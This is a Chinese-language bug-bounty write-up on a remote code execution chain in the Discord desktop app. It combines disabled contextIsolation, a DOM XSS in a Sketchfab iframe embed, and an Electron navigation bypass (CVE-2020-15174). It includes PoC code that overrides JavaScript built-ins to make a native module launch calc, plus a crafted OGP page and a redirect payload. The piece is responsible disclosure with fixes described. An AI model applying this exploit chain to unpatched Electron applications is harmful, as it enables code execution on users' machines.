Discord桌面应用程序的远程代码执行漏洞深度剖析

本文详细披露了在Discord桌面应用中发现的一个复杂远程代码执行漏洞。攻击者通过组合“上下文隔离缺失”、“iframe嵌入中的XSS”以及“导航限制绕过”这三个漏洞,成功实现RCE。文章深入剖析了每个漏洞的技术细节、利用链的构建过程以及修复方案,为Electron应用安全提供了宝贵的实战案例。

Discord桌面应用程序RCE

几个月前,我在Discord桌面应用程序中发现了一个远程代码执行(RCE)问题,并通过其漏洞赏金计划进行了报告。我发现的这个RCE很有趣,因为它是通过组合多个漏洞来实现的。在本文中,我将分享详细信息。

为什么选择Discord作为目标

我当时有点想找Electron应用程序的漏洞,所以我在寻找一个为Electron应用程序支付赏金的漏洞赏金计划,然后我发现了Discord。同时,我也是Discord的用户,只是想检查一下我正在使用的应用程序是否安全,所以我决定进行调查。

我发现的漏洞

基本上我发现了以下三个漏洞,并通过组合它们实现了RCE:

  1. 上下文隔离缺失
  2. iframe嵌入中的XSS
  3. 导航限制绕过(CVE-2020-15174)

我将逐一解释这些漏洞。

缺失的上下文隔离

在测试Electron应用程序时,我首先总是检查用于创建浏览器窗口的BrowserWindow API的选项。通过检查它,我思考当渲染器上可以执行任意JavaScript时,如何实现RCE。

Discord的Electron应用不是开源项目,但Electron的JavaScript代码以asar格式本地保存,我只需提取即可读取。

在主窗口中,使用了以下选项:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
const mainWindowOptions = {
  title: 'Discord',
  backgroundColor: getBackgroundColor(),
  width: DEFAULT_WIDTH,
  height: DEFAULT_HEIGHT,
  minWidth: MIN_WIDTH,
  minHeight: MIN_HEIGHT,
  transparent: false,
  frame: false,
  resizable: true,
  show: isVisible,
  webPreferences: {
    blinkFeatures: 'EnumerateDevices,AudioOutputDevices',
    nodeIntegration: false,
    preload: _path2.default.join(__dirname, 'mainScreenPreload.js'),
    nativeWindowOpen: true,
    enableRemoteModule: false,
    spellcheck: true
  }
};

这里我们应该重点检查的选项是nodeIntegrationcontextIsolation。从上面的代码中,我发现Discord主窗口的nodeIntegration选项设置为falsecontextIsolation选项设置为false(使用版本的默认值)。

如果nodeIntegration设置为true,网页的JavaScript只需调用require()就可以轻松使用Node.js功能。例如,在Windows上执行计算器应用程序的方法是:

1
2
3
<script>
  require('child_process').exec('calc');
</script>

这次,nodeIntegration被设置为false,所以我无法通过直接调用require()来使用Node.js功能。

然而,仍然有可能访问Node.js功能。另一个重要选项contextIsolation被设置为false。如果你想消除应用程序上RCE的可能性,这个选项不应该设置为false

如果contextIsolation被禁用,网页的JavaScript可以影响渲染器上Electron内部JavaScript代码以及预加载脚本的执行(在下文中,这些JavaScript将被称为网页外部的JavaScript代码)。

例如,如果你从网页的JavaScript中用一个函数覆盖了JavaScript内置方法之一(如Array.prototype.join),那么当外部代码调用join时,也会使用被覆盖的函数。

这种行为是危险的,因为无论nodeIntegration选项如何,Electron都允许网页外部的JavaScript代码使用Node.js功能,并且通过从网页中被覆盖的函数干扰它们,即使nodeIntegration设置为false,也有可能实现RCE。

顺便说一下,这样的技巧以前并不为人所知。它是在2016年由Cure53进行的一次渗透测试中首次发现的,我也参加了那次测试。之后,我们将其报告给了Electron团队,并引入了contextIsolation功能。

最近,那份渗透测试报告被公开了。如果你有兴趣,可以从以下链接阅读: Pentest-Report Ethereum Mist 11.2016 - 10.2017 https://drive.google.com/file/d/1LSsD9gzOejmQ2QipReyMXwr_M0Mg1GMH/view

你也可以阅读我在CureCon活动中使用的幻灯片。

contextIsolation在网页和网页外部的JavaScript代码之间引入了分离的上下文,使得每部分代码的JavaScript执行互不影响。这是消除RCE可能性的必要功能,但这次在Discord中被禁用了。

现在我发现contextIsolation被禁用,于是开始寻找可以通过干扰网页外部JavaScript代码来执行任意代码的地方。

通常,当我在Electron渗透测试中创建RCE的PoC时,我首先尝试使用渲染器上的Electron内部JavaScript代码来实现RCE。这是因为渲染器上的Electron内部JavaScript代码可以在任何Electron应用程序中执行,所以我基本上可以重用相同的代码来实现RCE,这很容易。

在我的幻灯片中,我介绍了可以通过使用Electron在导航时执行的代码来实现RCE。不仅可以从该代码实现,在其他一些地方也存在这样的代码。(我将来希望发布PoC的示例。)

然而,根据所使用的Electron版本或设置的BrowserWindow选项,由于代码已更改或无法正确到达受影响的代码,有时通过Electron代码的PoC效果不佳。这次它没有奏效,所以我决定将目标改为预加载脚本。

在检查预加载脚本时,我发现Discord向网页公开了一个函数,该函数允许通过DiscordNative.nativeModules.requireModule('MODULE-NAME')调用一些被允许的模块。

在这里,我不能直接使用可用于RCE的模块,例如child_process模块,但我发现了一段代码,可以通过覆盖JavaScript内置方法并干扰暴露模块的执行来实现RCE。

以下是PoC。我能够确认,当我从devTools调用名为"discord_utils"的模块中定义的getGPUDriverVersions函数,同时覆盖RegExp.prototype.testArray.prototype.join时,计算器应用程序会弹出。

1
2
3
4
5
6
7
RegExp.prototype.test=function(){
    return false;
}
Array.prototype.join=function(){
    return "calc";
}
DiscordNative.nativeModules.requireModule('discord_utils').getGPUDriverVersions();

getGPUDriverVersions函数尝试使用"execa"库执行程序,如下所示:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
module.exports.getGPUDriverVersions = async () => {
  if (process.platform !== 'win32') {
    return {};
  }
  const result = {};
  const nvidiaSmiPath = `${process.env['ProgramW6432']}/NVIDIA Corporation/NVSMI/nvidia-smi.exe`;
  try {
    result.nvidia = parseNvidiaSmiOutput(await execa(nvidiaSmiPath, []));
  } catch (e) {
    result.nvidia = {error: e.toString()};
  }
  return result;
};

通常execa尝试执行nvidiaSmiPath变量中指定的"nvidia-smi.exe",但是,由于覆盖了RegExp.prototype.testArray.prototype.join,参数在execa的内部处理中被替换为"calc"

具体来说,参数通过更改以下两个部分被替换。 https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L36 https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L55

剩下的工作是找到在应用程序上执行JavaScript的方法。如果我找到了,就会导致实际的RCE。

iframe嵌入中的XSS

如上所述,我发现任意JavaScript执行可能导致RCE,所以我试图找到一个XSS漏洞。该应用程序支持自动链接或Markdown功能,但看起来情况良好。于是我将注意力转向了iframe嵌入功能。iframe嵌入是例如当发布YouTube URL时,自动在聊天中显示视频播放器的功能。

当发布URL时,Discord会尝试获取该URL的OGP信息,如果存在OGP信息,它会在聊天中显示页面的标题、描述、缩略图、关联视频等。

Discord从OGP中提取视频URL,并且只有视频URL是允许的域并且该URL实际上具有嵌入页面的URL格式时,该URL才会嵌入到iframe中。

我找不到关于哪些服务可以嵌入iframe的文档,所以我试图通过检查CSP的frame-src指令来寻找线索。当时,使用了以下CSP:

1
Content-Security-Policy: [...] ; frame-src https://*.youtube.com https://*.twitch.tv https://open.spotify.com https://w.soundcloud.com https://sketchfab.com https://player.vimeo.com https://www.funimation.com https://twitter.com https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/ https://js.stripe.com https://assets.braintreegateway.com https://checkout.paypal.com https://*.watchanimeattheoffice.com

显然,其中一些被列出以允许iframe嵌入(例如YouTube、Twitch、Spotify)。

我尝试通过逐个将域名指定到OGP信息中来检查URL是否可以嵌入iframe,并尝试在嵌入的域上寻找XSS。经过一些尝试,我发现CSP中列出的域名之一sketchfab.com可以嵌入iframe,并在嵌入页面上发现了XSS。

我当时不了解Sketchfab,但它似乎是一个用户可以发布、购买和销售3D模型的平台。在3D模型的脚注中存在一个简单的基于DOM的XSS。

以下是带有精心构造OGP的PoC。当我把这个URL发布到聊天时,Sketchfab被嵌入到聊天的iframe中,在iframe上点击几次后,任意JavaScript被执行。

1
https://l0.cm/discord_rce_og.html
1
2
3
4
5
6
7
8
9
<head>
    <meta charset="utf-8">
    <meta property="og:title" content="RCE DEMO">
    [...]
    <meta property="og:video:url" content="https://sketchfab.com/models/2b198209466d43328169d2d14a4392bb/embed">
    <meta property="og:video:type" content="text/html">
    <meta property="og:video:width" content="1280">
    <meta property="og:video:height" content="720">
</head>

好的,我终于找到了一个XSS,但JavaScript仍然在iframe中执行。由于Electron不会将“网页外部的JavaScript代码”加载到iframe中,所以即使我在iframe中覆盖JavaScript内置方法,我也无法干扰Node.js的关键部分。为了实现RCE,我们需要离开iframe并在顶级浏览上下文中执行JavaScript。这需要从iframe打开新窗口或从iframe将顶级窗口导航到另一个URL。

我检查了相关代码,在主进程的代码中找到了使用"new-window""will-navigate"事件来限制导航的代码:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
mainWindow.webContents.on('new-window', (e, windowURL, frameName, disposition, options) => {
  e.preventDefault();
  if (frameName.startsWith(DISCORD_NAMESPACE) && windowURL.startsWith(WEBAPP_ENDPOINT)) {
    popoutWindows.openOrFocusWindow(e, windowURL, frameName, options);
  } else {
    _electron.shell.openExternal(windowURL);
  }
});
[...]
mainWindow.webContents.on('will-navigate', (evt, url) => {
  if (!insideAuthFlow && !url.startsWith(WEBAPP_ENDPOINT)) {
    evt.preventDefault();
  }
});

我认为这段代码可以正确地防止用户打开新窗口或导航顶级窗口。然而,我注意到了意外的行为。

导航限制绕过(CVE-2020-15174)

我认为代码没问题,但我还是尝试检查从iframe进行的顶级导航是否被阻止。然后,令人惊讶的是,导航由于某种原因没有被阻止。我预计在导航发生之前,尝试会被"will-navigate"事件捕获并被preventDefault()拒绝,但事实并非如此。

为了测试这种行为,我创建了一个小的Electron应用程序。我发现由于某种原因,"will-navigate"事件不会从iframe发起的顶级导航中发出。准确地说,如果顶级来源和iframe来源是同源的,则会发出事件,但如果它们是不同源的,则不会发出事件。我认为这种行为没有合理的理由,所以我认为这是Electron的一个错误,并决定稍后报告给Electron团队。

借助这个错误,我能够绕过导航限制。我最后要做的只是使用iframe的XSS导航到包含RCE代码的页面,例如top.location="//l0.cm/discord_calc.html"

通过这种方式,通过结合三个漏洞,我能够实现RCE,如下面的视频所示。

最后

这些问题通过Discord的漏洞赏金计划进行了报告。首先,Discord团队禁用了Sketchfab嵌入,并采取了变通办法,通过向iframe添加sandbox属性来防止从iframe导航。过了一段时间,contextIsolation被启用。现在即使我可以在应用程序上执行任意JavaScript,也无法通过覆盖JavaScript内置方法发生RCE。我因这项发现获得了5,000美元的奖励。

Sketchfab上的XSS通过Sketchfab的漏洞赏金计划进行了报告,并由Sketchfab开发人员迅速修复。我因这项发现获得了300美元的奖励。

"will-navigate"事件中的错误作为Electron的错误报告给了Electron的安全团队,并作为以下漏洞被修复(CVE-2020-15174)。 Unpreventable top-level navigation · Advisory · electron/electron https://github.com/electron/electron/security/advisories/GHSA-2q4g-w47c-4674

就是这样。我个人喜欢外部页面的错误或与应用程序本身实现无关的Electron错误导致RCE的情况 :)

我希望这篇文章能帮助你保持Electron应用程序的安全。

感谢阅读!

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计